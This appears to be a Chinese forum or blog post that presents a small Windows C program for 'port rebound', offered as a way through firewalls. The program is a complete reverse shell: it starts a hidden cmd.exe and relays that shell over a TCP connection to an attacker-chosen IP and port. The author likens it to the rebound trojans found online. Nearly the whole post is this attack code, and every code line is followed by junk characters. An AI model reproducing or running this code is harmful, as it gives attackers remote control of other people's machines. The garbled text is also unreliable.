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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;A)w:"m  
G/T oiUY  
/* ============================== ??Zh$^No:  
Rebound port in Windows NT Z>1\|j  
By wind,2006/7 m~a'  
===============================*/ h ,;f6  
#include ?h)Z ;,}  
#include v:0.  
9C[i#+_3M  
#pragma comment(lib,"wsock32.lib") B;.]<k'3  
`0a=A#]1o  
void OutputShell(); b,U"N-6  
SOCKET sClient; ./nq*4=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x#z}A&  
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void main(int argc,char **argv) }nNZp  
{ B[k {u#Kp  
WSADATA stWsaData; YSi[s*.G  
int nRet; YB{hQ<W  
SOCKADDR_IN stSaiClient,stSaiServer;  a~>.  
M_@%*y\o  
if(argc != 3) --*Jv"/0  
{ t,|`#6Ft  
printf("Useage:\n\rRebound DestIP DestPort\n"); Xk=bb267  
return; ]A)`I  
} fW^\G2Fk  
NUH;\*]8s  
WSAStartup(MAKEWORD(2,2),&stWsaData); -7^?40A  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zFVNb  
p&'oJy.P  
stSaiClient.sin_family = AF_INET; e@[9WnxYe  
stSaiClient.sin_port = htons(0); .{U@Hva_K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?CSc5b`eo  
y>}dKbCN  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S !Dq8  
{ 3 D<s #  
printf("Bind Socket Failed!\n"); dd4g?):  
return; 3Z.<=D  
} oJ}!qrrH  
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stSaiServer.sin_family = AF_INET; > cFH=um  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); os/_ObPiX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O3, IR1  
$RA8U:Q!1e  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yhnhORSY;  
{ @&!`.Y oy  
printf("Connect Error!"); :H/CiN  
return; daamP$h9  
} KI&+Zw4VL  
OutputShell(); SymBb}5  
} bF'Y.+"dr  
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void OutputShell() 3|1ug92  
{ Jo%5NXts4  
char szBuff[1024]; .~J}80a/  
SECURITY_ATTRIBUTES stSecurityAttributes; ""-#b^DQ  
OSVERSIONINFO stOsversionInfo; @2H"8KX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a "*DJ&  
STARTUPINFO stStartupInfo; |8,|>EyqK  
char *szShell; &fH;A X.  
PROCESS_INFORMATION stProcessInformation; tNsiokOm  
unsigned long lBytesRead; <\i}zoPO  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C:Tjue{G2  
)*!"6d)^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J=QuZwt  
stSecurityAttributes.lpSecurityDescriptor = 0; 2M`]nAk2a  
stSecurityAttributes.bInheritHandle = TRUE; ~zdHJ8tYp  
,+`1/  
%"#%/>U4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {Dv^j#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5LJUD>f9 Z  
L< 3U)Gp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4x8e~/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7S"W7O1>  
stStartupInfo.wShowWindow = SW_HIDE; {J_1.uN=  
stStartupInfo.hStdInput = hReadPipe; D|zlC,J,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =*K~U# uoC  
|^ z?(?w  
GetVersionEx(&stOsversionInfo); <G d?,}\  
WO=X*O ne  
switch(stOsversionInfo.dwPlatformId) =b\k$WQ_(  
{ }6Y D5?4  
case 1: a~#MMl  
szShell = "command.com"; ci]IH]x  
break; 6$42 -a%b  
default: cL/ 6p0S  
szShell = "cmd.exe"; fb8"hO]s  
break; 6]`XW 0{C  
} `$V7AqX(  
V4c$V]7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cRt[{ HE  
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send(sClient,szMsg,77,0); Z' cQ< f  
while(1) oSGx7dj+  
{ /{|<3CEe  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EvA{@g4>  
if(lBytesRead) \SA"DT  
{ G8Hj<3`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ] T `6Hz!  
send(sClient,szBuff,lBytesRead,0); JPeZZ13sS  
} TRB)cJZ?  
else if|j)h&  
{ M6$9-  
lBytesRead=recv(sClient,szBuff,1024,0); aD5jy  
if(lBytesRead<=0) break; ",U>;`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j Wa%vA  
} l# -4}95  
} T(< [k:`  
8#NI`s*  
return; P<Wtv;Z1Z  
}
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